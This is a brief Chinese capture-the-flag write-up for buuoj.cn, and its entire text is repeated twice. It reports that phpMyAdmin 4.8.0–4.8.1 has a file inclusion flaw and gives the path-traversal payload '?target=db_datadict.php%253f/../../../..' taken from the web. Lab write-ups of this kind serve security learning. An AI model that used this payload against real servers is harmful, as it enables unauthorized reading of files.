复现环境:buuoj.cn
我是从题目猜到有phpmyadmin,直接就输入就进去了
看一下版本信息
phpmyadmin4.8.0-4.8.1存在文件包含漏洞
使用网上的payload直接打
?target=db_datadict.php%253f/../../../..
复现环境:buuoj.cn
我是从题目猜到有phpmyadmin,直接就输入就进去了
看一下版本信息
phpmyadmin4.8.0-4.8.1存在文件包含漏洞
使用网上的payload直接打
?target=db_datadict.php%253f/../../../..